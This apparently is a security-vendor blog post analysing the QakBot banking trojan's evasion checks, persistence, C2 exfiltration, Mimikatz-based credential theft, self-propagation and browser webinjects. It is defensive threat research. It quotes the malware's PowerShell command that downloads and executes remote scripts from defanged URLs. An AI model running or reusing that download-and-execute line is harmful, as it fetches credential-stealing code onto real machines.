A Closer Look at Why the QakBot Malware Is So Dangerous
Cofense Intelligence ™ recently reported a phishing campaign distributing the QakBot malware. QakBot infestation is a significant threat, so be sure to share today’s follow-up post with your SOC analysts.
We’ll drill down into the novel techniques QakBot uses to stymie detection and manual analysis. This sophisticated banking trojan, which Cofense™ has seen distributed via the Geodo/Emotet botnet, uses multiple tools to cover its tracks and steal credentials. The threat actors who have developed it are creative and aggressive.
When faced with this evolving threat, you’re only as strong as your weakest administrative password. To recognize and prepare for QakBot, it pays to train employees across your operations and have a Plan B when automated threat-detection systems fail.
Cofense Intelligence™ recently reported on a spam campaign from the Geodo/Emotet botnet that distributed QakBot. QakBot, a sophisticated banking trojan, makes use of advanced and, in some cases, novel techniques to evade detection and protect itself from manual analysis. This process involves extensive reconnaissance and information gathering, which is both exfiltrated and used by QakBot to self-propagate. The self-propagated binaries maintain the same levels of protection as the original, making a QakBot infestation a significant threat.
Establishing a Foothold
In its most recent campaign, when QakBot is initially run it replaces the original binary with a copy of the legitimate Windows Calculator application: calc.exe.
Figure 1 – Overwrite command
It then uses multiple methods to check for the presence of virtualization software such as VirtualBox, CWSandbox, and VMware. These methods include:
- Checking installed programs
- Comparing process names to a predefined blacklist
- Examining registry entries
- Checking hardware information
QakBot also attempts to determine if it is in an analysis environment by checking if the executable has been renamed to a file name commonly used by researchers, such as mlwr_smpl, sample, or artifact.exe.
If no virtualization software or analysis environment is detected, QakBot copies the original executable into a folder in the %appdata%\Microsoft\ directory. This executable makes use of an additional layer of disguise in the form of a signed valid certificate, shown in Figure 2.
Figure 2 – Legitimate certificate
The certificate signer, Vercoe IT Ltd, is a relatively new company whose signature has been used only on QakBot executables, beginning in late January 2019. Given that QakBot has a history of using later revoked certificates from suspicious companies to sign its binaries, Vercoe IT Ltd certificates should be viewed with suspicion.
Once the executable is in place, QakBot establishes its persistence using both a registry key set to run the executable on startup, and a task scheduled to run the executable every 5 hours, as seen in Figure 3.
Figure 3 – Persistence mechanisms – Registry key set and scheduled task
After execution, QakBot launches an explorer.exe process and injects its code into the process’ memory. This process can then be used to spawn and inject code into additional processes such as svchost.exe. In some cases, the double persistence mechanisms used by QakBot can lead to the execution of additional processes, as seen in Figure 4.
Figure 4 – Additional spawned processes
Initial Network Connection
QakBot will often check the IP address or the connection speed of the infected machine before performing further actions. The IP address is checked via hxxp://www[.]ip-adress[.]com and the speed can be checked by downloading a file from hxxps://cdn[.]speedof[.]me/sample4096k[.]bin?r=0[.]%u. This information can be used as another method of checking for an analysis environment and is also included in the general information initially exfiltrated.
Once the requisite tests have been passed, QakBot will then begin communicating with its primary command and control locations (C2s). These communications consist primarily of HTTPS POSTs of encrypted data to a mix of direct IP address and compromised domains. In order to exfiltrate larger amounts of data, QakBot also has a hard-coded list of FTP servers with credentials that it will attempt to access in order to upload files containing additional information about the infected host. If these FTP servers are unavailable or if the credentials are incorrect, QakBot will default back to using HTTPS POSTs to exfiltrate information and communicate. Although the FTP servers appear to be the preferred C2, there is no apparent difference in the content communicated to other C2s. After QakBot has established a connection with its C2s, it will then attempt to “update” itself if there is a newer version available. Updating consists simply of downloading a new executable to replace the one on disk.
QakBot schedules these check-ins and uses the “updated” binaries to consistently change the hash of the file on disk and, thus, help avoid detection. Each new binary is re-compiled, re-encrypted, and has additional data modified on the server side before it is downloaded. These updates significantly change the structure of the binary without changing its capabilities. The scheduled updating of the QakBot binary ensures that the binary on disk will not be the same one for any extended period of time. The lack of a consistent binary prevents anti-virus companies from generating a static signature for use on different endpoints to detect the same malware. Although this tactic does not prevent detection in the long term, it often buys enough time for a new updated and undetected executable to be generated and downloaded.
In Depth Reconnaissance
The payloads available from QakBot’s C2s also include scripts that can be used to further support the QakBot infection. One of the downloaded scripts is shown in Figure 5.
powershell.exe “IEX (New-Object Net.WebClient).DownloadString(‘hxxps://onedrive[.]live[.]com/download.aspx?cid=CE32720D26AED2D5&authKey=%21AJUHblbcwLEzrrA&resid=CE32720D26AED2D5%21110&ithint=%2Eps1’);IEX (New-Object Net.WebClient).DownloadString(‘hxxps://onedrive[.]live[.]com/download.aspx?cid=CE32720D26AED2D5&authKey=%21AHHhrhk9od5OCBU&resid=CE32720D26AED2D5%21111&ithint=%2Eps1’); Invoke-MainWorker -Command ‘%s'”
Figure 5 – PowerShell command
These scripts are a modified version of Invoke-Mimikatz.ps1, which is created using the PowerShell Empire framework and then used to decode an embedded Mimikatz binary and inject it directly into memory, as seen in Figure 6.
Figure 6 – Encoded Mimikatz binary
Mimikatz is an open-source credential stealing tool that has significantly more capabilities than a normal credential stealer. Some notable capabilities include performing a “pass the hash” attack, gathering a trove of information, and stealing certificates. Mimikatz can also provide threat actors additional lateral movement capabilities, complementing QakBot’s pre-existing self-propagation features. QakBot self-propagates by spreading copies of itself through shared network drives, removable media, FTP servers, and in some cases SMB. It accesses these locations using stolen credentials from multiple sources including email clients and Mimikatz. QakBot will also use a list of common usernames and passwords to attempt a brute-force log in to access these protected locations.
Acting as a Banking Trojan
QakBot’s persistence, detection avoidance, self-propagation, and information gathering are all precursors to its primary goal — acting as a banking trojan. Once the initial checks have been passed and any stolen credentials have been exfiltrated, QakBot will then download additional configuration data. Shortly after this data is downloaded, files like those shown in Figure 7 appear in the same folder as the executable.
Figure 7 – Files left on disk
Although some of these files appear to have appropriate .dll file names, they are actually encrypted data files used as part of the web injection and logging process. The size and contents of these files change frequently and can deceive analysts as to their purpose.
When certain websites are visited in a browser on an infected computer, an appropriate snippet of code is “injected” into the page displayed in the web browser such as the one in Figure 8.
Figure 8: Injected script for AT&T
Malware uses the smaller script in Figure 8 to trigger the download of a larger webinject which is loaded into the browser as if it were normal content. This script would download the webinject file ATT.js from hxxps://webcoremetrics[.]com/wbj/att/. The downloaded webinject is 43kb, almost 100 times larger than the original injected script and allows the threat actor to fully control the webpage content displayed by the browser. The configuration section of this webinject shown in Figure 9 details some of its capabilities and has been conveniently commented on by the threat actor.
Figure 9: Configuration section of ATT.js with English and Russian comments
This type of setup is typical for banking trojans. In fact Dreambot, IcedID, and QakBot all use the same variables, obfuscation method, and even the same authentication key to download some of their webinjects. Some of these common variables and shared key can be seen in Figure 10. The pkey value in particular is interesting because it is consistent across all three banking trojans and is also used as part of the configuration data shown in Figure 9.
Figure 10: Shared variables used to download webinjects
Figure 11: Data targeted by second webinject type
The third kind of webinject used by QakBot is significantly different and can allow for more direct interaction from the threat actor. QakBot will monitor web browsers to see if they are visiting a set of websites and, if one of the websites is visited, QakBot will inject additional code into the browser. What is unusual about this snippet is that rather than simply downloading an additional webinject it will send an HTTPS POST, such as the one seen in Figure 12, with relevant information about the visited web page.
Figure 12: Initial communication via poll method
The first parameter of the POST from Figure 12, “m”, indicates the type of communication. The parameter can have different values depending on the C2 and web page, in this case it indicates to the C2 that QakBot is initializing the communication and requesting data. The “b” value is the same botid from Figure 8 and the “q” defines which webpage is visited. The response to the initialization POST is an unusually formed html file. At the bottom of this html file are several sections shown in Figure 13.
Figure 13: HTML file sections
The first portion of the HTML file is injected into the browser along with the original script webinject. The following portions are split into sections at each “—–EOF—-”. The randomly named variables listed in the bottom configuration section corresponds to variable names in the HTML sections. Each of these has a default true/false value and has a non-random variable name that corresponds with a variable in the original injected script. The login page is then displayed to the victim and their credentials are requested. If a victim enters their credentials, the injected script will contact the C2 and supply to entered information as shown in Figure 14.
Figure 14: Exfiltrated credentials
The C2 will then respond with “poll” which in this context is similar to a “wait” command. After this the QakBot client will attempt to send a “poll” POST to the C2 every 0.5 seconds as shown in Figure 15.
Figure 15: Poll POST from client
Each of these “poll” POSTs from the client is responded to with another “poll” from the C2, prolonging the conversation. Once the C2 has processed the original form input (likely by attempting to log in using the credentials) it will respond with another command such as the one shown in Figure 16.
Figure 16: Eventual response from C2
This response can be a number of things and the script is designed to handle more than 20 basic commands such as error messages, requests for phone information, additional “security questions”, a command to “destroy” information displayed on the page, or a prompt to re-enter credentials such as the one in Figure 17.
Figure 17: Resulting render when an error is returned
The configuration data shown in the bottom of Figure 13 can be used along with these commands to display only parts of a page that the threat actor, or their automation, determines to be relevant to a given individual. This “sectional” behavior is unusual and is not used by the other major banking trojans. It allows the threat actor to maintain essentially constant contact with an infected endpoint that logs in to websites and offer highly customized webinjects to steal specific information. The usage of a different set of C2s for webinject control also provides infrastructure resiliency and an easy way to categorize an endpoint based on internet browser usage.
QakBot is a significant threat to large organizations because of the multiple methods it uses to spread itself, its relatively successful attempts at avoiding detection and automated analysis, and its brute-forcing of password-protected locations. The recent use of Mimikatz shows that the threat actors behind QakBot are not only willing to go after information and credentials aggressively but are also willing to utilize additional tools.
Using multiple credential stealing tools and brute-forcing weak passwords from inside the network ensure that any organization is only as strong as its weakest administrative password. To recognize and prepare for this threat, organizations need to take multiple approaches, such as training employees across the board to improve security, having procedures in place for when automated systems fail to detect a threat, and maintaining constant internal network vigilance.
Frequently Asked Questions
What is a Banking Trojan?
What is QakBot?
Why is self-propagating malware so dangerous?
All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.